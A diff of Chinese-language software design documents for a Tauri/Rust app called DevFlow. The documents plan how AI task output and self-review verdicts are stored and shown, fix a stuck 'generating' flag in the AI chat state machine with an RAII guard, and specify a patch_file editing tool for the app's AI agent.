<div class="value output-block">
|
||||
<!-- 自审结论卡(若有 review 子字段) -->
|
||||
<div v-if="parsedOutput.review" class="review-card" :class="reviewVerdictClass">
|
||||
<span class="review-verdict">{{ reviewVerdictLabel }}</span>
|
||||
<span class="review-summary">{{ parsedOutput.review.summary }}</span>
|
||||
<ul v-if="parsedOutput.review.suggestions?.length" class="review-suggestions">
|
||||
<li v-for="(s, i) in parsedOutput.review.suggestions" :key="i">{{ s }}</li>
|
||||
</ul>
|
||||
</div>
|
||||
<!-- AI 产出(Markdown 渲染,复用 useRendered) -->
|
||||
<div v-if="parsedOutput.text" class="output-text ai-md" v-html="renderedOutput"></div>
|
||||
</div>
|
||||
</div>
|
||||
```
|
||||
|
||||
**实现要点**:
|
||||
- `parsedOutput = computed(() => JSON.parse(task.output_json))`(包 try/catch,解析失败降级显示原文)
|
||||
- `reviewVerdictClass`:pass→绿,fail→红
|
||||
- `renderedOutput`:复用 `useRendered`(TaskDetail.vue:150, 190-192 已用于 description)渲染 markdown
|
||||
- i18n key:`taskDetail.output` / `taskDetail.review.pass` / `taskDetail.review.fail`
|
||||
- workflow 完成后 task 经 df-data-changed 自动刷新(现有机制,TaskDetail.vue:82 注释),output_json 自动出现
|
||||
|
||||
**约束**:output_json 是 `Option<String>`(models.rs:76),前端 `task.output_json` 可能为 undefined(旧任务无产出)—— `v-if="task.output_json"` 守卫。
|
||||
|
||||
---
|
||||
|
||||
## 三、②-⑥ 实施步骤拆解(标可并发)
|
||||
|
||||
> 依赖链:①迁移(另一 agent)→ ②-⑥。②-⑥ 内部:
|
||||
|
||||
```
|
||||
② AiNode 持 db + 写产出 ──┐
|
||||
├─→ ⑤ 前端展示(依赖 output_json schema 定型,即③review schema)
|
||||
③ ai_self_review prompt ──┤
|
||||
├─→ ④ human_review 展示(依赖③ review schema + ② 产出 schema)
|
||||
┘
|
||||
⑥ 端到端联调(依赖②③④⑤)
|
||||
```
|
||||
|
||||
### 步骤②:ai_execute 写产出(依赖①白名单)
|
||||
- [ ] `crates/df-nodes/src/ai_node.rs`:`AiNode` struct 加 `db: Arc<Database>` 字段 + `new(db)` 构造
|
||||
- [ ] `crates/df-nodes/src/ai_node.rs:execute`:LLM 完成后,若 `ctx.config["task_id"]` 存在 → `TaskRepo::new(&self.db).update_field(task_id, "output_json", &json)` 落库
|
||||
- [ ] `src-tauri/src/state.rs:257-259`:ai 工厂闭包改 `move |_config| Box::new(AiNode::new(db.clone()))`(对齐 state.rs:265 TaskAdvanceNode 写法)
|
||||
- [ ] 单测:mock db 验证 update_field 调用 + output_json 内容
|
||||
|
||||
### 步骤③:ai_self_review prompt 模板(依赖② schema)
|
||||
- [ ] `crates/df-nodes/src/ai_node.rs`:按 node_id 分支(或新增 `AiReviewNode` 独立节点类型)—— **推荐独立节点** `ai_self_review` 类型,复用 AiNode 大部分逻辑但 prompt 模板固定、输出解析 JSON
|
||||
- [ ] prompt 模板(见 2.3)硬编码或 config 注入
|
||||
- [ ] LLM 输出 JSON 解析 + 兜底
|
||||
- [ ] 自审结果写回 task.output_json(加 review 子字段,不覆盖 text)
|
||||
- [ ] 注册 `ai_self_review` 节点类型到 state.rs build_registry
|
||||
- [ ] testing 模板节点类型 "ai" → "ai_self_review"(task_workflow_templates.rs:59)
|
||||
|
||||
### 步骤④:human_review 展示(依赖③ review schema)
|
||||
- [ ] `crates/df-nodes/src/ai_node.rs`(ai_self_review 节点):把 review 摘要塞进 NodeOutput.data,供下游 human_review 读
|
||||
- [ ] **不改 HumanNode**(human_node.rs 零改动)—— human_review 节点 config 的 description 在模板层或 ai_self_review 输出层拼接
|
||||
- [ ] 方案:testing 模板给 human_review 节点 config 加 description 占位,或新增轻量"描述拼装"逻辑(读 inputs["ai_self_review"])
|
||||
- [ ] **若选 HumanNode 持 db 方案**:human_node.rs 加 db 字段 + state.rs:254 工厂闭包改 move(不推荐,多改一处)
|
||||
|
||||
### 步骤⑤:前端展示(依赖③ schema 定型)—— **可与②③④并发**
|
||||
- [ ] `src/views/TaskDetail.vue`:加 output_json 展示区块(见 2.5)
|
||||
- [ ] `src/api/types.ts`:TaskRecord 类型加 `output_json?: string`
|
||||
- [ ] `src/locales/*.json`:加 taskDetail.output / review.pass / review.fail i18n key
|
||||
- [ ] review.verdict 红绿标样式
|
||||
|
||||
### 步骤⑥:端到端联调(依赖②③④⑤全完成)
|
||||
- [ ] 前端 TaskDetail 点工作流推进(testing)→ run_workflow → ai_self_review 调 LLM → 写 output_json → human_review 审批卡显示自审结论 → 人同意/拒绝 → 任务态推进/退回
|
||||
- [ ] 验证 regression_target(workflow.rs:46-54):拒绝 → failed → testing 退回 in_review
|
||||
|
||||
**可并发标注**:
|
||||
- **②③④ 串行**(共享 ai_node.rs / schema)
|
||||
- **⑤ 可与②③④ 并发**(前端独立,仅依赖 schema 文档约定)
|
||||
- **⑥ 必须最后**(全依赖)
|
||||
|
||||
---
|
||||
|
||||
## 四、风险
|
||||
|
||||
| 风险 | 等级 | 说明 | 缓解 |
|
||||
|------|------|------|------|
|
||||
| ①迁移未完成阻塞 ②-⑥ | **P0 阻断** | crud 白名单(crud.rs:342-343)/ SELECT 列(crud.rs:779)/ INSERT-UPDATE 语句(crud.rs:748-762)/ ALTER(migrations.rs)均未含 output_json | 本方案明确标注前置依赖;①agent 须先完成 crud 链路全量(白名单+SELECT+INSERT+UPDATE+ALTER) |
|
||||
| api_key 明文经 config 注入 | **P0 安全** | 前端拼 provider config 含 api_key,经 IPC(明文)+ config(明文)传到 AiNode,前端可拿到明文 key(违背 FR-S1 mask 设计) | 改传 `provider_id`(非 api_key),AiNode 内部调 `secret::ensure_resolved_key`(src-tauri/src/commands/ai/secret.rs)解析;前端 config 只放 provider_id + model + protocol,base_url/api_key 后端解析注入 |
|
||||
| LLM 自审输出不合规 JSON | P1 | LLM 可能不按要求输出纯 JSON | 兜底解析:JSON.parse 失败 → verdict=unknown + summary=原文;prompt 强约束 + temperature=0 |
|
||||
| AiNode 从无状态变有状态 | P2 | state.rs:257-259 当前 `Box::new(AiNode)` 无参,改 `new(db.clone())` 后工厂闭包要 move db(对齐 state.rs:265 已有写法) | 低风险,TaskAdvanceNode 同模式已验证;注意所有 AiNode 测试构造点同步 |
|
||||
| HumanNode 是否持 db 的方案分歧 | P2 | 方案④有两个选项(HumanNode 持 db vs ai_self_review 输出透传) | 推荐后者(HumanNode 零改动),review 摘要经 DAG inputs 透传;减少改动面 |
|
||||
| ai_self_review verdict=fail 是否自动退回 | P2 | 激进方案(fail→Err→自动退回)vs 保守方案(fail→展示,人定) | 首版保守,verdict 仅作展示信号;后续可加 config 开关 `auto_reject_on_fail` |
|
||||
| testing 模板 ai 节点类型改 ai_self_review | P2 | task_workflow_templates.rs:59 当前 `dag.add_node("ai_self_review", "ai", ...)` 类型是 "ai";若新增独立 ai_self_review 节点类型,模板要改 + registry 要注册 | 若复用 AiNode(按 node_id 分支 prompt)则模板不改;若独立节点则模板 + registry 都改(见步骤③) |
|
||||
| output_json schema 演进 | P3 | 未来产出类型多样化(代码/文档/分析),单一 text+review schema 可能不够 | schema 设计预留扩展字段;output_json 本就是自由 JSON 字符串,可演进 |
|
||||
|
||||
---
|
||||
|
||||
## 五、依赖
|
||||
|
||||
- **① df-storage 迁移**(另一 agent,本方案前置):TaskRecord struct(✅ models.rs:76 已加)→ migrations(CREATE ✅ / ALTER ⚠️ 缺)→ crud(SELECT ⚠️ / INSERT ⚠️ / UPDATE ⚠️ / 白名单 ⚠️ 全缺)。**须全量完成 crud 链路 + 白名单含 output_json**。
|
||||
- **provider 配置注入链**:前端 ai_list_providers(api/ai.ts:76)+ 默认 provider(types.ts:172-178)→ run_workflow config → deep_merge。已就绪,仅需前端拼装逻辑。
|
||||
- **secret 解析**(若走 provider_id 方案):src-tauri/src/commands/ai/secret.rs ensure_resolved_key 已就绪(ai_node.rs:50 注释对齐)。
|
||||
|
||||
---
|
||||
|
||||
## 六、附录:file:line 证据索引
|
||||
|
||||
| 文件 | 行 | 内容 |
|
||||
|------|----|------|
|
||||
| crates/df-workflow/src/node.rs | 12-26 | NodeContext 结构(无 task/db) |
|
||||
| crates/df-nodes/src/ai_node.rs | 35-109 | parse_params 参数解析 |
|
||||
| crates/df-nodes/src/ai_node.rs | 112 | `pub struct AiNode;`(无状态) |
|
||||
| crates/df-nodes/src/ai_node.rs | 116-164 | AiNode.execute 调 LLM 返 NodeOutput |
|
||||
| crates/df-nodes/src/ai_node.rs | 155-163 | 产出 schema {text,model,usage} |
|
||||
| crates/df-nodes/src/human_node.rs | 36 | `pub struct HumanNode;`(无状态) |
|
||||
| crates/df-nodes/src/human_node.rs | 39-176 | HumanNode.execute 审批流程 |
|
||||
| crates/df-nodes/src/human_node.rs | 19-22 | REJECT_KEYWORDS |
|
||||
| crates/df-nodes/src/task_workflow_templates.rs | 28-35 | template_for 选模板 |
|
||||
| crates/df-nodes/src/task_workflow_templates.rs | 57-72 | testing 模板(ai_self_review→human_review) |
|
||||
| crates/df-nodes/src/task_advance_node.rs | 98-110 | TaskAdvanceNode db 注入先例 |
|
||||
| crates/df-workflow/src/executor.rs | 99-113 | NodeContext 构造 |
|
||||
| crates/df-workflow/src/executor.rs | 102-108 | deep_merge 节点级覆盖全局 |
|
||||
| crates/df-workflow/src/dag.rs | 169-188 | deep_merge 实现 |
|
||||
| src-tauri/src/commands/workflow.rs | 67-76 | run_workflow 签名(config/task_id/target_status) |
|
||||
| src-tauri/src/commands/workflow.rs | 84-92 | 空 dag + target → template_for |
|
||||
| src-tauri/src/commands/workflow.rs | 235-308 | 工作流联动任务推进/退回 |
|
||||
| src-tauri/src/commands/workflow.rs | 46-54 | regression_target 失败退回映射 |
|
||||
| src-tauri/src/state.rs | 252-266 | build_registry 节点注册(AiNode L257 / TaskAdvanceNode L265) |
|
||||
| crates/df-storage/src/models.rs | 53-79 | TaskRecord(含 output_json L76) |
|
||||
| crates/df-storage/src/migrations.rs | 371 | CREATE TABLE output_json TEXT |
|
||||
| crates/df-storage/src/crud.rs | 165 | update_field 通用写 |
|
||||
| crates/df-storage/src/crud.rs | 342-343 | tasks 白名单(缺 output_json) |
|
||||
| crates/df-storage/src/crud.rs | 748-762 | TaskRepo INSERT/UPDATE(缺 output_json) |
|
||||
| crates/df-storage/src/crud.rs | 779 | list_active SELECT(缺 output_json) |
|
||||
| src/api/workflow.ts | 12-26 | workflowApi.run(含 config/taskId/targetStatus) |
|
||||
| src/api/ai.ts | 76 | ai_list_providers |
|
||||
| src/api/types.ts | 172-178 | AiProviderRecord(api_key/base_url) |
|
||||
| src/views/TaskDetail.vue | 71-91 | 工作流推进按钮 + 轻量进度 |
|
||||
| src/views/TaskDetail.vue | 124-127 | workflowDef 区块(output_json 展示插入点) |
|
||||
| src-tauri/src/commands/ai/secret.rs | - | ensure_resolved_key(api_key 安全解析) |
|
||||
284
docs/02-架构设计/专项设计/generating状态机加固-2026-06-15.md
Normal file
284
docs/02-架构设计/专项设计/generating状态机加固-2026-06-15.md
Normal file
@@ -0,0 +1,284 @@
|
||||
# AI 生成状态机加固(generating 生命周期)
|
||||
|
||||
> 创建: 2026-06-15 | 来源: /review generating 状态机专项审查 | 关联 bug: 用户报障"创建不了新对话"
|
||||
|
||||
---
|
||||
|
||||
## 1. 背景
|
||||
|
||||
用户报障:AI 面板"创建不了新对话了",前端报 `生成中无法新建对话,请先停止或等待完成`,但前端实际无内容生成。
|
||||
|
||||
排查定位:后端 `AiSession.generating` 标志卡在 `true`,与实际无生成状态不符。`ai_conversation_create`(commands.rs:451)硬拦 `generating=true` → 死锁,用户永远新建不了对话,只能重启 app。
|
||||
|
||||
`/review` 对 generating 状态机(commands.rs 对话/审批/stop + agentic.rs loop/try_continue + stream_recv.rs stream_llm + mod.rs AiSession)做专项审查,产出本文档。
|
||||
|
||||
---
|
||||
|
||||
## 2. 现状:三标志组合表达隐式状态机
|
||||
|
||||
### 2.1 状态标志
|
||||
|
||||
| 标志 | 类型 | 位置 | 作用 |
|
||||
|------|------|------|------|
|
||||
| `generating` | `bool` | `Mutex<AiSession>` 内 | 是否有 agentic loop 活跃 |
|
||||
| `pending_approvals` | `HashMap` | `Mutex<AiSession>` 内 | 待审批工具调用 |
|
||||
| `stop_flag` | `Arc<AtomicBool>` | 跨锁共享 | ai_chat_stop 置位,loop/stream 读取 |
|
||||
|
||||
### 2.2 隐式表达的 4 态
|
||||
|
||||
| 状态 | 标志组合 | 语义 |
|
||||
|------|---------|------|
|
||||
| **Idle** | `generating=false` | 空闲,可接新请求 |
|
||||
| **Streaming** | `generating=true && pending=空` | agentic loop 流式生成中 |
|
||||
| **AwaitingApproval** | `generating=true && pending非空` | loop 暂停等用户审批 |
|
||||
| **Stopping** | `stop_flag=true`(瞬态) | 用户点了停止,loop 检查点退出中 |
|
||||
|
||||
### 2.3 两个散布问题(根因)
|
||||
|
||||
**写侧散布(复位)**:`generating=false` 手动散落在 6 个 return 点(agentic.rs:53/94/144/190/264/318)。任一新增 return 漏写、或 spawn task panic/abort → 所有复位点跳过 → `generating` 永久 true。
|
||||
|
||||
**读侧散布(判别)**:状态判别靠标志组合反推:
|
||||
- `try_continue`(agentic.rs:283):`should_continue = generating && !pending`
|
||||
- `ai_chat_stop`(commands.rs:250):`pending非空` 分流流式/审批态
|
||||
- `ai_conversation_create`(commands.rs:451):`generating` 硬拦
|
||||
|
||||
判别逻辑散落三处,无单一真相源,新增分支易漏。
|
||||
|
||||
---
|
||||
|
||||
## 3. 状态机决策:轻量状态机,不引入框架
|
||||
|
||||
### 3.1 决策结论
|
||||
|
||||
**不引入独立状态机框架**(enum 字段替换 bool + 转换守卫 + codegen 库)。采用**轻量状态机**:
|
||||
|
||||
- **写侧收敛** = RAII guard(Drop 兜底复位),对应审查项 ①
|
||||
- **读侧收敛** = `session.state()` enum 视图方法(只读,不改字段),对应审查项 ⑤
|
||||
- **stop_flag 保留** `Arc<AtomicBool>`(跨锁信号,状态机管不了)
|
||||
|
||||
### 3.2 多角度论证
|
||||
|
||||
| 角度 | 独立状态机框架 | 轻量方案(guard+视图) | 判 |
|
||||
|------|--------------|-------------------|-----|
|
||||
| **状态复杂度** | 4 态 6 边转换,简单 | 同 | 不足以 justify 框架 |
|
||||
| **stop_flag 约束** | enum 不能跨锁,stop_flag 仍须 AtomicBool 独存 | stop_flag 保留,enum 只读视图 | 框架无法替代跨锁信号 |
|
||||
| **根因对症** | 复位散布=写侧 / 判别散布=读侧 | guard 治写 + 视图治读,**精准对症** | 轻量直达根因 |
|
||||
| **风格契合** | enum 字段+转换函数+非法检测=过度封装 | 增量加 guard+方法,做减法 | 轻量契合"可读性>抽象性" |
|
||||
| **迁移成本** | 改 AiSession 字段+所有读写点+测试,大改 | 增量,①⑤已在审查清单 | 轻量零额外工作 |
|
||||
|
||||
### 3.3 关键洞察
|
||||
|
||||
① RAII guard(写收敛)+ ⑤ enum 视图(读收敛)= 状态机读写两端都收敛,**功能上等价于状态机,但不引入 enum 字段/转换守卫/框架**。这是务实路线,符合作减法风格。
|
||||
|
||||
`stop_flag` 是跨锁信号(ai_chat_stop 在 IPC 线程置位,loop/stream 在 agentic task 读),必须保持 `Arc<AtomicBool>` 独立——这是状态机 enum 字段(锁内)无法替代的并发要求。
|
||||
|
||||
---
|
||||
|
||||
## 4. 改造设计
|
||||
|
||||
### 4.1 ① RAII guard — 写侧收敛(P0 根治)
|
||||
|
||||
新增 guard struct,`run_agentic_loop` 入口创建,函数退出(含 panic/abort/正常 return)时 Drop 兜底复位。
|
||||
|
||||
```rust
|
||||
struct GeneratingGuard {
|
||||
session: Arc<Mutex<AiSession>>,
|
||||
app: AppHandle,
|
||||
conv_id: String,
|
||||
}
|
||||
impl Drop for GeneratingGuard {
|
||||
fn drop(&mut self) {
|
||||
let app = self.app.clone();
|
||||
let conv_id = self.conv_id.clone();
|
||||
let session = self.session.clone();
|
||||
tauri::async_runtime::spawn(async move {
|
||||
let mut s = session.lock().await;
|
||||
if s.generating { // 仅在仍 true 时复位(避免重复 emit)
|
||||
s.generating = false;
|
||||
drop(s);
|
||||
let _ = app.emit("ai-chat-event", AiChatEvent::AiCompleted {
|
||||
total_tokens: 0, prompt_tokens: 0, completion_tokens: 0,
|
||||
conversation_id: Some(conv_id),
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
`run_agentic_loop` 入口:`let _guard = GeneratingGuard { ... };`,函数内所有手动 `session.generating = false` 删除。
|
||||
|
||||
**注意**:Drop 是同步的不能再 `.await`,故 spawn 异步复位。存在极小窗口 generating 仍 true,由 ② 软复位兜底。
|
||||
|
||||
### 4.2 ⑤ session.state() 视图 — 读侧收敛(P1)
|
||||
|
||||
只读视图方法,不改 AiSession 字段,收敛三标志组合判别:
|
||||
|
||||
```rust
|
||||
enum SessionState { Idle, Streaming, AwaitingApproval }
|
||||
impl AiSession {
|
||||
fn state(&self) -> SessionState {
|
||||
if !self.generating { return SessionState::Idle; }
|
||||
if self.pending_approvals.is_empty() { SessionState::Streaming }
|
||||
else { SessionState::AwaitingApproval }
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
改造判别点:
|
||||
- `try_continue`:`should_continue = matches!(session.state(), SessionState::Streaming)`
|
||||
- `ai_chat_stop`:分流用 `matches!(session.state(), SessionState::AwaitingApproval)`
|
||||
- `ai_conversation_create`:见 4.3
|
||||
|
||||
### 4.3 ② newConversation 软复位 — 死锁解除(P0)
|
||||
|
||||
`ai_conversation_create`(commands.rs:451)硬拦改软复位。`generating=true` 时强制复位(等同 `ai_chat_stop` 审批态分支 commands.rs:252)再新建:
|
||||
|
||||
```rust
|
||||
if session.generating {
|
||||
session.generating = false;
|
||||
session.pending_approvals.clear();
|
||||
session.stop_flag.store(true, Ordering::SeqCst);
|
||||
let conv_id = session.active_conversation_id.clone();
|
||||
drop(session);
|
||||
let _ = app.emit("ai-chat-event", AiChatEvent::AiCompleted { ... conversation_id: conv_id });
|
||||
session = state.ai_session.lock().await;
|
||||
}
|
||||
session.active_conversation_id = Some(id.clone());
|
||||
// ...
|
||||
```
|
||||
|
||||
**含 ④ 策略统一**:软复位后 newConversation 与 switchConversation:518(readonly 放行)形成一致心智——「新建=放弃当前生成 / 切换=只读接管」。
|
||||
|
||||
需加 `app: AppHandle` 参数(tauri 注入,前端无感)。
|
||||
|
||||
### 4.4 ③ loop 对话一致性校验 — 竞态防护(P0)
|
||||
|
||||
② 软复位后旧 loop 退出时 `session.messages.push(旧 assistant)`(agentic.rs:171/173)污染新对话。loop 每次 push 前校验:
|
||||
|
||||
```rust
|
||||
let mut session = session_arc.lock().await;
|
||||
if session.active_conversation_id.as_deref() != Some(&conv_id) {
|
||||
return; // 对话已切走,丢弃本轮,不 push(guard ① 兜底复位)
|
||||
}
|
||||
if has_tool_calls { /* push */ }
|
||||
```
|
||||
|
||||
同样校验建议加在 `save_conversation` 调用前(agentic.rs:90/186/212/254),防旧 loop 写库污染。
|
||||
|
||||
### 4.5 ⑥ stop 流式态兜底 — 治 loop 已死(P1)
|
||||
|
||||
`ai_chat_stop`(commands.rs:261)流式态分支仅置 stop_flag,依赖 loop 自复位。若 loop 已 panic/abort,stop_flag 无人读,generating 永不复位。复用 ② 抽出的复位 helper 兜底。
|
||||
|
||||
### 4.6 ⑦ stop_notify 即时打断(P1,可选)
|
||||
|
||||
`stop_flag`(AtomicBool)无 async 通知能力,靠 30s 心跳 tick 间接唤醒 select!。换 `tokio::sync::Notify` 即时打断。`stop_flag` 保留作循环顶快检(冗余双保险)。
|
||||
|
||||
---
|
||||
|
||||
## 5. 状态转换图
|
||||
|
||||
```
|
||||
ai_chat_send
|
||||
│
|
||||
▼
|
||||
┌─────────────────┐
|
||||
│ Streaming │◄────────────────┐
|
||||
│ generating=true │ │
|
||||
│ pending=空 │ │
|
||||
└────────┬────────┘ │
|
||||
│ │
|
||||
┌──────────┼──────────┐ │
|
||||
│ │ │ │
|
||||
有待审批 无工具调用 stop_flag ai_approve
|
||||
│ (收敛) (用户停) (处理完)
|
||||
▼ │ │ │
|
||||
┌──────────────┐ │ ▼ │
|
||||
│AwaitingApproval│ │ ┌─────────┐ │
|
||||
│ generating=true │ │ │ Stopping│ │
|
||||
│ pending非空 │ │ │stop=true│ │
|
||||
└──────┬───────┘ │ └────┬────┘ │
|
||||
│ │ │ │
|
||||
ai_approve │ loop 检查点 │
|
||||
(处理完) │ 退出+复位 │
|
||||
│ │ │ │
|
||||
└───────────┼──────────┼───────────────┘
|
||||
▼ ▼
|
||||
┌────────────────────┐
|
||||
│ Idle │
|
||||
│ generating=false │
|
||||
└────────────────────┘
|
||||
```
|
||||
|
||||
**复位保障**:所有退出路径(实线)由 ① guard 的 Drop 兜底;异常路径(panic/abort,虚线)同样由 Drop 覆盖。② 软复位作为 newConversation 入口的二级防线。
|
||||
|
||||
---
|
||||
|
||||
## 6. 实施计划
|
||||
|
||||
### P0(用户 bug 根治组合,必须同批)
|
||||
|
||||
| # | 项 | 文件 | 依赖 |
|
||||
|---|---|------|------|
|
||||
| B-260615-09 | ① RAII guard 收尾 | agentic.rs | 无(上游) |
|
||||
| B-260615-10 | ② newConversation 软复位(含④策略统一)| commands.rs:451 | 必须配 B-11 |
|
||||
| B-260615-11 | ③ loop 对话一致性校验 | agentic.rs:158 | B-10 配套 |
|
||||
|
||||
**依赖关系**:
|
||||
- ②③ 强耦合(②放开 newConversation 触发③的竞态,单独做②会引入数据污染)→ **捆绑实施**
|
||||
- ① 是②③的上游根治(①修了仍需②③,因 panic 兜底不可能 100% 覆盖 OS 级 abort)→ **三者同批**
|
||||
|
||||
### P1
|
||||
|
||||
| # | 项 | 文件 |
|
||||
|---|---|------|
|
||||
| B-260615-12 | ⑤ session.state() enum 视图(轻量状态机读侧)| mod.rs:97 |
|
||||
| B-260615-13 | ⑥ stop 流式态兜底(复用②复位 helper)| commands.rs:261 |
|
||||
| B-260615-14 | ⑦ stop_flag 换 Notify 即时打断 | stream_recv.rs:148 |
|
||||
|
||||
### P2
|
||||
|
||||
| # | 项 | 文件 |
|
||||
|---|---|------|
|
||||
| B-260615-15 | ⑧ heartbeat interval 提到 loop 外 | stream_recv.rs:138 |
|
||||
| B-260615-16 | ⑨ MAX_AGENT_ITERATIONS 配置化 | agentic.rs:28 |
|
||||
| B-260615-17 | ⑩ key_len 复用 build_provider_for 结果(FR-S1 相关)| agentic.rs:67 |
|
||||
| B-260615-18 | ⑪ pending_approvals 单例+conv_id 路由加注释 | mod.rs:107 |
|
||||
|
||||
---
|
||||
|
||||
## 7. 验证
|
||||
|
||||
### P0 验证(用户 bug 复现 + 根治)
|
||||
|
||||
1. **卡死复现**:构造 panic 场景(如临时在 run_agentic_loop 内 panic)→ 验证 generating 卡 true → newConversation 被拦
|
||||
2. **① guard 兜底**:同上 panic 场景 → guard Drop 复位 generating → newConversation 正常
|
||||
3. **② 软复位**:手动置 generating=true(模拟卡死)→ newConversation 强制复位成功新建
|
||||
4. **③ 一致性**:② 软复位后旧 loop 退出 → 验证不 push 到新对话 messages
|
||||
|
||||
### 回归
|
||||
|
||||
- 正常收敛(无工具调用)→ break → guard 复位 ✅
|
||||
- 审批等待 → pending 非空 → guard 不复位(设计)→ ai_approve → try_continue 续 ✅
|
||||
- stop 流式态 → stop_flag → loop 退出 → guard 复位 ✅
|
||||
- stop 审批态 → 直接清 pending + 复位 ✅
|
||||
|
||||
---
|
||||
|
||||
## 8. 取舍 / 未做
|
||||
|
||||
| 项 | 决策 | 理由 |
|
||||
|----|------|------|
|
||||
| 独立状态机框架 | **不做** | 过度封装,轻量方案(guard+视图)功能等价 |
|
||||
| enum 字段替换 bool | **不做** | 改字段+所有读写点,大改;视图方法够用 |
|
||||
| stop_flag 转 enum | **不做** | 跨锁信号必须 AtomicBool,enum 锁内无法替代 |
|
||||
| panic 100% 兜底 | **不可能** | OS 级 abort(OOM kill)guard 抓不到,②软复位兜底 |
|
||||
| 命令黑名单/资源限制 | **不做**(run_command 安全边界)| 属 B/C/D 方案领域,A 方案靠人审 |
|
||||
|
||||
---
|
||||
|
||||
## 相关文档
|
||||
|
||||
- [df-ai AI 集成模块](../../03-模块文档/df-ai-AI集成模块-2026-06-12.md)
|
||||
- [aichat 审查报告-2026-06-14](../构想审查/aichat审查报告-2026-06-14.md)
|
||||
- [流式 Markdown 渲染调研-2026-06-15](../构想审查/aichat流式Markdown渲染调研-2026-06-15.md)
|
||||
360
docs/02-架构设计/专项设计/patch_file工具设计-2026-06-15.md
Normal file
360
docs/02-架构设计/专项设计/patch_file工具设计-2026-06-15.md
Normal file
@@ -0,0 +1,360 @@
|
||||
# Patch File 工具设计
|
||||
|
||||
> 创建: 2026-06-15 | 状态: 设计定稿待实施 | 优先级: P0
|
||||
> 关联 todo: F-260615-06 [P0]
|
||||
|
||||
---
|
||||
|
||||
## 一、问题定义
|
||||
|
||||
### 1.1 现状缺口
|
||||
|
||||
DevFlow AI agent 有 `write_file`(全量覆盖写入)但**无局部编辑能力**。AI 需要修改文件中某几行时只能:
|
||||
|
||||
```
|
||||
read_file → AI 在 context 中拼出完整新内容 → write_file 全量覆盖
|
||||
```
|
||||
|
||||
**问题链**:
|
||||
1. **Token 浪费**:大文件(几百行)只改 3 行却要重发全部内容
|
||||
2. **事故风险**:write_file 全量覆盖已出事故(PROGRESS.md 762 行 → 248 字节,FR-S7 记录)
|
||||
3. **无审计粒度**:无法知道「改了哪里」,只有「整个文件被替换了」
|
||||
4. **并发不安全**:join_all 并行场景下多工具操作同一文件无保护
|
||||
|
||||
### 1.2 目标
|
||||
|
||||
提供 `patch_file` 工具,让 AI 能做**精确的局部文本替换**,形成完整的文件操作闭环:
|
||||
|
||||
```
|
||||
read_file(读) → search_in_file(定位) → patch_file(改) → run_command(验证)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 二、API 设计
|
||||
|
||||
### 2.1 请求结构
|
||||
|
||||
```rust
|
||||
/// 局部文件更新请求
|
||||
struct PatchFileRequest {
|
||||
/// 目标文件路径(必填,走 validate_path 校验 + 黑名单)
|
||||
path: String,
|
||||
|
||||
/// 文件指纹(可选):用于检测外部修改
|
||||
/// 格式: "{unix_timestamp}_{size}" 如 "1718400000_12345"
|
||||
/// 由 read_file 返回的 file_hash 字段携带
|
||||
expected_hash: Option<String>,
|
||||
|
||||
/// 有序补丁列表(从文件末尾往前执行,避免行号偏移)
|
||||
patches: Vec<Patch>,
|
||||
}
|
||||
|
||||
/// 单个补丁
|
||||
struct Patch {
|
||||
/// 必填:要替换的旧文本(精确匹配 = 乐观锁)
|
||||
old_text: String,
|
||||
|
||||
/// 必填:替换后的新文本
|
||||
new_text: String,
|
||||
|
||||
/// 可选:行号辅助定位(快速跳转 + 去歧增强)
|
||||
/// 有值时优先跳到该行检查 old_text;不匹配则降级全文扫描
|
||||
line: Option<u32>,
|
||||
|
||||
/// 可选:old_text 之前的上下文锚(去歧——多匹配时精确锁定)
|
||||
before_text: Option<String>,
|
||||
|
||||
/// 可选:old_text 之后的上下文锚(去歧)
|
||||
after_text: Option<String>,
|
||||
}
|
||||
```
|
||||
|
||||
### 2.2 响应结构
|
||||
|
||||
```rust
|
||||
struct PatchResult {
|
||||
success: bool,
|
||||
patches_applied: usize, // 成功替换的 patch 数
|
||||
total_matches: usize, // 每个 patch 的总命中数(含未替换的)
|
||||
lines_changed: i32, // 总行数变化(正=增加 负=减少)
|
||||
warnings: Vec<String>, // ["匹配到 3 处,仅替换第 1 处"]
|
||||
file_hash: String, // 操作后的新指纹(下次操作用)
|
||||
}
|
||||
```
|
||||
|
||||
### 2.3 read_file 扩展(返回指纹)
|
||||
|
||||
现有 read_file 返回值新增字段:
|
||||
|
||||
```rust
|
||||
struct ReadFileResult {
|
||||
path: String,
|
||||
content: String,
|
||||
size: u64,
|
||||
lines: u32,
|
||||
// 新增:
|
||||
modified: String, // ISO8601 或 unix timestamp
|
||||
file_hash: String, // mtime+size 指纹,如 "1718400000_12345"
|
||||
}
|
||||
```
|
||||
|
||||
### 2.4 LLM 描述(tool_registry 注册用)
|
||||
|
||||
```
|
||||
"局部更新文件内容。用于精确修改文件的特定部分(而非全量覆盖)。
|
||||
每个补丁指定 old_text(要替换的原文)和 new_text(新内容)。
|
||||
可选 line 辅助定位、before/after_text 上下文锚定消除歧义。
|
||||
属 Medium 风险操作(修改已有文件),需人工审批。
|
||||
注意:old_text 必须与文件内容完全匹配(含空格/缩进);若文件已被外部修改,
|
||||
请先重新 read_file 获取最新内容和 file_hash。"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 三、核心决策记录
|
||||
|
||||
### 决策 1:定位方式 — old_text 精确匹配为主,line 为辅
|
||||
|
||||
| 方案 | 示例 | 优点 | 缺点 |
|
||||
|------|------|------|------|
|
||||
| **A: old_text ✅ 选定** | 匹配 "fn main() {" 替换 | =隐式乐观锁;AI零认知负担(复制即用);内容变了自动冲突报错 | 改动大时 old_string 长 |
|
||||
| B: line 行号 | 替换第 42 行 | 短小精悍 | 文件改了行号偏移;AI需先search定位(多一轮IPC) |
|
||||
| C: 正则 regex | 匹配 `/return Err\(.*\)/` | 表达力强 | AI生成regex易出错;转义复杂 |
|
||||
|
||||
**折中**:old_text **必填**(主定位),line **可选**(辅助快速跳转+去歧),before/after_text **可选**(多匹配去歧)。
|
||||
|
||||
**理由**:
|
||||
- AI 做 edit 时天然持有「要改哪段」上下文,复制即用(最小认知路径)
|
||||
- old_text 天然防并发冲突(CAS 语义:Compare-And-Swap)
|
||||
- line 不单独使用(无内容校验=盲替换,并发不安全)
|
||||
|
||||
### 决策 2:多匹配处理 — 替换第 1 处 + warning
|
||||
|
||||
```
|
||||
